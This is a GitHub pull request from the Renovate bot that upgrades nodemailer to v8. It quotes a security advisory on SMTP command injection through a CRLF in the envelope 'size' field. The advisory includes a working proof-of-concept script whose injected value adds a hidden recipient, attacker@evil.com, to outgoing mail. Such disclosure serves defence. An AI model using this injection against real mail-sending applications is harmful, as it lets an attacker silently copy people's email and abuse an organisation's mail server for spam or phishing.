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chore(deps): update dependency nodemailer to v8 [security]#409

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renovate/npm-nodemailer-vulnerability
Mar 27, 2026
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chore(deps): update dependency nodemailer to v8 [security]#409
renovate[bot] merged 1 commit intomainfrom
renovate/npm-nodemailer-vulnerability

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@renovate renovate bot commented Mar 27, 2026

This PR contains the following updates:

Package Change Age Adoption Passing Confidence
nodemailer (source) ^7.0.0^8.0.0 age adoption passing confidence

GitHub Vulnerability Alerts

GHSA-c7w3-x93f-qmm8

Summary

When a custom envelope object is passed to sendMail() with a size property containing CRLF characters (\r\n), the value is concatenated directly into the SMTP MAIL FROM command without sanitization. This allows injection of arbitrary SMTP commands, including RCPT TO — silently adding attacker-controlled recipients to outgoing emails.

Details

In lib/smtp-connection/index.js (lines 1161-1162), the envelope.size value is concatenated into the SMTP MAIL FROM command without any CRLF sanitization:

if (this._envelope.size && this._supportedExtensions.includes('SIZE')) {
    args.push('SIZE=' + this._envelope.size);
}

This contrasts with other envelope parameters in the same function that ARE properly sanitized:

  • Addresses (from, to): validated for [\r\n<>] at lines 1107-1127
  • DSN parameters (dsn.ret, dsn.envid, dsn.orcpt): encoded via encodeXText() at lines 1167-1183

The size property reaches this code path through MimeNode.setEnvelope() in lib/mime-node/index.js (lines 854-858), which copies all non-standard envelope properties verbatim:

const standardFields = ['to', 'cc', 'bcc', 'from'];
Object.keys(envelope).forEach(key => {
    if (!standardFields.includes(key)) {
        this._envelope[key] = envelope[key];
    }
});

Since _sendCommand() writes the command string followed by \r\n to the raw TCP socket, a CRLF in the size value terminates the MAIL FROM command and starts a new SMTP command.

Note: by default, Nodemailer constructs the envelope automatically from the message's from/to fields and does not include size. This vulnerability requires the application to explicitly pass a custom envelope object with a size property to sendMail().
While this limits the attack surface, applications that expose envelope configuration to users are affected.

PoC

ave the following as poc.js and run with node poc.js:

const net = require('net');
const nodemailer = require('nodemailer');

// Minimal SMTP server that logs raw commands
const server = net.createServer(socket => {
    socket.write('220 localhost ESMTP\r\n');
    let buffer = '';
    socket.on('data', chunk => {
        buffer += chunk.toString();
        const lines = buffer.split('\r\n');
        buffer = lines.pop();
        for (const line of lines) {
            if (!line) continue;
            console.log('C:', line);
            if (line.startsWith('EHLO')) {
                socket.write('250-localhost\r\n250-SIZE 10485760\r\n250 OK\r\n');
            } else if (line.startsWith('MAIL FROM')) {
                socket.write('250 OK\r\n');
            } else if (line.startsWith('RCPT TO')) {
                socket.write('250 OK\r\n');
            } else if (line === 'DATA') {
                socket.write('354 Start\r\n');
            } else if (line === '.') {
                socket.write('250 OK\r\n');
            } else if (line.startsWith('QUIT')) {
                socket.write('221 Bye\r\n');
                socket.end();
            }
        }
    });
});

server.listen(0, '127.0.0.1', () => {
    const port = server.address().port;
    console.log('SMTP server on port', port);
    console.log('Sending email with injected RCPT TO...\n');

    const transporter = nodemailer.createTransport({
        host: '127.0.0.1',
        port,
        secure: false,
        tls: { rejectUnauthorized: false },
    });

    transporter.sendMail({
        from: 'sender@example.com',
        to: 'recipient@example.com',
        subject: 'Normal email',
        text: 'This is a normal email.',
        envelope: {
            from: 'sender@example.com',
            to: ['recipient@example.com'],
            size: '100\r\nRCPT TO:<attacker@evil.com>',
        },
    }, (err) => {
        if (err) console.error('Error:', err.message);
        console.log('\nExpected output above:');
        console.log('  C: MAIL FROM:<sender@example.com> SIZE=100');
        console.log('  C: RCPT TO:<attacker@evil.com>        <-- INJECTED');
        console.log('  C: RCPT TO:<recipient@example.com>');
        server.close();
        transporter.close();
    });
});

Expected output:

SMTP server on port 12345
Sending email with injected RCPT TO...

C: EHLO [127.0.0.1]
C: MAIL FROM:<sender@example.com> SIZE=100
C: RCPT TO:<attacker@evil.com>
C: RCPT TO:<recipient@example.com>
C: DATA
...
C: .
C: QUIT

The RCPT TO:<attacker@evil.com> line is injected by the CRLF in the size field, silently adding an extra recipient to the email.

Impact

This is an SMTP command injection vulnerability. An attacker who can influence the envelope.size property in a sendMail() call can:

  • Silently add hidden recipients to outgoing emails via injected RCPT TO commands, receiving copies of all emails sent through the affected transport
  • Inject arbitrary SMTP commands (e.g., RSET, additional MAIL FROM to send entirely separate emails through the server)
  • Leverage the sending organization's SMTP server reputation for spam or phishing delivery

The severity is mitigated by the fact that the envelope object must be explicitly provided by the application. Nodemailer's default envelope construction from message headers does not include size. Applications that pass through user-controlled data to the envelope options (e.g., via API parameters, admin panels, or template configurations) are vulnerable.

Affected versions: at least v8.0.3 (current); likely all versions where envelope.size is supported.


Release Notes

nodemailer/nodemailer (nodemailer)

v8.0.4

Compare Source

Bug Fixes
  • sanitize envelope size to prevent SMTP command injection (2d7b971)

v8.0.3

Compare Source

Bug Fixes
  • clean up addressparser and fix group name fallback producing undefined (9d55877)
  • fix cookie bugs, remove dead code, and improve hot-path efficiency (e8c8b92)
  • refactor smtp-connection for clarity and add Node.js 6 syntax compat test (c5b48ea)
  • remove familySupportCache that broke DNS resolution tests (c803d90)

v8.0.2

Compare Source

Bug Fixes
  • merge fragmented display names with unquoted commas in addressparser (fe27f7f)

v8.0.1

Compare Source

Bug Fixes
  • absorb TLS errors during socket teardown (7f8dde4)
  • absorb TLS errors during socket teardown (381f628)
  • Add Gmail Workspace service configuration (#​1787) (dc97ede)

v8.0.0

Compare Source

⚠ BREAKING CHANGES
  • Error code 'NoAuth' renamed to 'ENOAUTH'
Bug Fixes
  • add connection fallback to alternative DNS addresses (e726d6f)
  • centralize and standardize error codes (45062ce)
  • harden DNS fallback against race conditions and cleanup issues (4fa3c63)
  • improve socket cleanup to prevent potential memory leaks (6069fdc)

v7.0.13

Compare Source

Bug Fixes
  • downgrade transient connection error logs to warn level (4c041db)

Configuration

📅 Schedule: Branch creation - "" in timezone Europe/Stockholm, Automerge - At any time (no schedule defined).

🚦 Automerge: Enabled.

Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

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renovate bot commented Mar 27, 2026

Branch automerge failure

This PR was configured for branch automerge. However, this is not possible, so it has been raised as a PR instead.

@renovate renovate bot added this pull request to the merge queue Mar 27, 2026
@renovate renovate bot added the renovate label Mar 27, 2026
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sentry bot commented Mar 27, 2026

Codecov Report

✅ All modified and coverable lines are covered by tests.
✅ Project coverage is 72.77%. Comparing base (4314b3d) to head (7c29870).

Additional details and impacted files
@@           Coverage Diff           @@
##             main     #409   +/-   ##
=======================================
  Coverage   72.77%   72.77%           
=======================================
  Files          84       84           
  Lines        3816     3816           
  Branches      406      406           
=======================================
  Hits         2777     2777           
  Misses       1034     1034           
  Partials        5        5           

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Merged via the queue into main with commit 4104e9a Mar 27, 2026
15 of 19 checks passed
@renovate renovate bot deleted the renovate/npm-nodemailer-vulnerability branch March 27, 2026 09:47
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